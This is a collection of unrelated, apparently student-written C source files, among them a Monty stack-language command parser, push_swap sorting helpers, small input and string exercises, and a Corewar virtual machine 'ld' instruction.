#include "monty.h" /** * parse_command - parses commands from the line op * @stack: the pointer to the head of the stack * @op: the line with commands/instructions * @line_num: a number of the line * * Return: void */ void parse_command(stack_t **stack, char *op, unsigned int line_num) { int i; instruction_t ops[] = { {"push", push}, {"pall", pall}, {"pint", pint}, {"pop", pop}, {"swap", swap}, {"add", add}, {"nop", nop}, {"sub", sub}, {"div", _div}, {"mul", mul}, {"mod", mod}, {"pchar", pchar}, {"pstr", pstr}, {"rotl", rotl}, {"rotr", rotr}, {NULL, NULL} }; for (i = 0; ops[i].opcode; i++) if (strcmp(op, ops[i].opcode) == 0) { ops[i].f(stack, line_num); return; } if (strlen(op) != 0 && op[0] != '#') { printf("L%u: unknown instruction %s\n", line_num, op); exit(EXIT_FAILURE); } }
C
#include <stdarg.h> typedef struct { int A; } T; int g = 0; T f(int x, ...) { va_list ap; T X; va_start(ap, x); X = va_arg(ap, T); if (X.A != 10) { g = 1; return X; } X = va_arg(ap, T); if (X.A != 20) { g = 2; return X; } va_end(ap); return X; } int main() { T X, Y; X.A = 10; Y.A = 20; f(2, X, Y); return g; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* service_funcs.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: rtulchiy <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/01/28 14:02:32 by rtulchiy #+# #+# */ /* Updated: 2018/02/02 13:28:36 by rtulchiy ### ########.fr */ /* */ /* ************************************************************************** */ #include "push_swap.h" void shift_part_b(t_vars *vars, _Bool code) { int i; int n; i = 0; if (!(vars->parts_b)[0]) ++i; while ((vars->parts_b)[i]) ++i; if (!code) { while (i-- > 0) (vars->parts_b)[i + 1] = (vars->parts_b)[i]; (vars->parts_b)[0] = 0; } else { n = 0; while (n < i) { (vars->parts_b)[n] = (vars->parts_b)[n + 1]; ++n; } } } void ft_sort3(t_list **stack_a, t_vars *vars) { int n; n = 0; while (n++ < 4) ft_backtrack(stack_a, n, vars, 0); if ((*stack_a)->next &&\ *(int*)((*stack_a)->content) > *(int*)((*stack_a)->next->content)) get_swap(stack_a, vars, "sa\n"); if (!ft_check_sort(*stack_a, 0)) { get_rotate(stack_a, vars, "ra\n"); if (*(int*)((*stack_a)->content) > *(int*)((*stack_a)->next->content)) get_swap(stack_a, vars, "sa\n"); get_rev_rotate(stack_a, vars, "rra\n"); if (*(int*)((*stack_a)->content) > *(int*)((*stack_a)->next->content)) get_swap(stack_a, vars, "sa\n"); } } int ft_random_sort(t_list *stack, int len, _Bool code) { int n; n = 0; if (stack) while (stack->next && --len) { if (!code &&\ *(int*)(stack->content) > *(int*)(stack->next->content)) ++n; else if (code &&\ *(int*)(stack->content) < *(int*)(stack->next->content)) ++n; stack = stack->next; } return (n); } _Bool ft_isrev(t_list *stack) { t_list *middle; int sum1; int sum2; int n; sum1 = 0; sum2 = 0; middle = ft_lstn(stack, ft_lstlen(stack) / 2); n = ft_lstlen(stack) / 2; while (n--) { sum1 += *(int*)(stack->content); stack = stack->next; } while (stack) { sum2 += *(int*)(stack->content); stack = stack->next; } if (sum1 > sum2 && ft_random_sort(middle, ft_lstlen(middle), 0) >\ (int)((double)ft_lstlen(middle) * 0.75)) return (1); return (0); } _Bool ft_isbetween(t_list *stack_a, t_list *stack_b, int num1, int num2) { int n; n = 0; while (stack_a || stack_b) { if (stack_a && *(int*)(stack_a->content) < num2 &&\ *(int*)(stack_a->content) > num1) ++n; if (stack_b && *(int*)(stack_b->content) < num2 &&\ *(int*)(stack_b->content) > num1) ++n; if (stack_a) stack_a = stack_a->next; if (stack_b) stack_b = stack_b->next; } return (n); }
C
#include <stdio.h> #include <limits.h> int retornaMaior(int vet[], int n){ int maior = INT_MIN; for(int i = 0; i < n; i++){ if(vet[i] > maior) maior = vet[i]; } return maior; } int main(){ int n; scanf("%d", &n); int nums[n]; for(int i = 0; i < n; i++){ scanf("%d", &nums[i]); } printf("%d", retornaMaior(nums, n)); }
C
#include <stdio.h> #include <string.h> #include <ctype.h> int main(void) { int i, j; char text[200]; char minions[200] = ""; char minion[10]; // useful for intermediate strings char temp[200]; char dl[1] = "-"; // delimiter char *split; // split token // Read the raw text scanf("%s", text); // Replace all non-uppercase into a temp array to modify for (i = 0; i < strlen(text); i++) { if (!isupper(text[i])) { temp[i] = '-'; // Replaces all non-uppercase with a - char } else temp[i] = text[i]; } split = strtok(temp, dl); // First token of temp while (split != NULL ) { strcpy (minion, split); if(minion[0] > 'G') // G = 71 for GRU { strcpy (minions, minion); for(i = 1; i < strlen(minions); i++) { minions[i] = tolower(minions[i]); } printf("%s\n", minions); } else if(minion[0] = 'G') { if (tolower(minion[1]) > 'r') { strcpy(minions, minion); for(i = 1; i < strlen(minions); i++) { minions[i] = tolower(minions[i]); } printf("%s\n", minions); } } split = strtok(NULL, dl); // Restart the strtok checker. } return 0; }
C
#include <stdio.h> void get_stuff(char * input); #define LIM 11 int main(void) { char input[LIM]; get_stuff(input); printf("You entered:\n"); printf("%s", input); putchar('\n'); return 0; } void get_stuff(char input[]) { printf("Enter stuff: \n"); fgets(input, LIM, stdin); }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_instr_ld.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: semartin <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2016/05/19 12:08:00 by semartin #+# #+# */ /* Updated: 2016/05/19 12:08:01 by semartin ### ########.fr */ /* */ /* ************************************************************************** */ #include "../includes/corewar.h" #include "../libft/includes/libft.h" /* ** ft_init : Initialise : code --> Defined on 8 bit ** tell the instruction what kind of instr will be read ** size --> Size to read on the map ** instr --> Every byte read for this instr ** --------------------------------------------------------------------------- ** ld_fill : Put the value previously calculed (in nb) into the right register ** Put the carry at 0 if instr isn't correct or if nb != 0 ** --------------------------------------------------------------------------- ** ld_show_op : If option -op : Add the operation to the buffer ** that will be printed on screen ** --------------------------------------------------------------------------- ** ld_core : Put the value of the register (2nd param) into the first param ** 1st param can be either a register or an adress ** if it's an adress lld will acces further than IDX_MOD ** ld won't and will loop modulo IDX_MOD instead ** --------------------------------------------------------------------------- ** ft_proc_ld : Called ld's fncts and wait the right number of cicle ** On ld the process execute on 5 cycles, on lld 10 */ static int ft_init_ld(t_glob *g, t_proc *p) { int i; p->instr[1] = g->arena[(p->pc + 1) % MEM_SIZE]; ft_encode(p->instr[1], p); p->size = p->code[0] + p->code[1]; i = 1; while (++i <= p->size + 1) p->instr[i] = g->arena[(p->pc + i) % MEM_SIZE]; if (p->code[1] != 1 || !(p->code[0] == 2 || p->code[0] == 4)) { p->wait = -1; if (g->param->s_pc) ft_print_pc(g, p, 2 + p->code[0] + p->code[1]); p->pc += (2 + p->code[0] + p->code[1]); clear_byte(p->instr); return (0); } return (1); } static void ld_fill(t_proc *p, int max, int nb) { if (p->instr[max] < 1 && p->instr[max] > 16) p->carry = 0; else { p->r[p->instr[max] - 1] = nb; if (nb == 0) p->carry = 0; else p->carry = 1; } } static void ld_show_op(t_proc *p, int max, int mod, int cmp) { int i; int nb; char *s; char *tmp; if (!(s = malloc(sizeof(*s) * 64))) ft_error("Allocation Error : Insufficient memory"); tmp = s; i = 0; nb = number_digit(p->number); ft_strcpy(tmp++, "P"); while (i++ < 5 - nb) ft_strcpy(tmp++, " "); ft_itoa_cpy(p->number, tmp); if (mod == IDX_MOD) ft_strcpy((tmp = tmp + ft_strlen(tmp)), " | ld "); else ft_strcpy((tmp = tmp + ft_strlen(tmp)), " | lld "); ft_itoa_cpy(cmp, (tmp = tmp + ft_strlen(tmp))); ft_strcpy((tmp = tmp + ft_strlen(tmp)), " r"); ft_itoa_cpy(p->instr[max], (tmp = tmp + ft_strlen(tmp))); ft_strcpy((tmp = tmp + ft_strlen(tmp)), "\n"); ft_buffer_screen(s, 0); free(s); } static void core_ld(t_glob *g, t_proc *p, int mod, int max) { int cmp; if (p->size == 3 && p->instr[4] >= 1 && p->instr[4] <= 16) { cmp = (p->pc + (byte_into_short(&(p->instr[2])) % mod)); if (cmp < 0) cmp = MEM_SIZE + cmp; cmp = byte_into_int(&(g->arena[cmp])); max = 4; ld_fill(p, max, cmp); } else if (p->size == 5 && p->instr[6] >= 1 && p->instr[6] <= 16) { cmp = byte_into_int(&(p->instr[2])); max = 6; ld_fill(p, max, cmp); } if (g->param->s_op && p->instr[max] >= 1 && p->instr[max] <= 16 && max != 0) ld_show_op(p, max, mod, cmp); if (g->param->s_pc) ft_print_pc(g, p, 2 + p->code[0] + p->code[1]); } void ft_proc_ld(t_proc *p, t_glob *g, int n) { int mod; int max; if (p->wait == -1) p->wait = (n == 0) ? 2 : 7; else if (p->wait > 0) p->wait -= 1; else { max = 0; if (!ft_init_ld(g, p)) return ; mod = (n == 0) ? IDX_MOD : MEM_SIZE; core_ld(g, p, mod, max); clear_byte(p->instr); p->pc += (2 + p->code[0] + p->code[1]); p->wait = -1; } }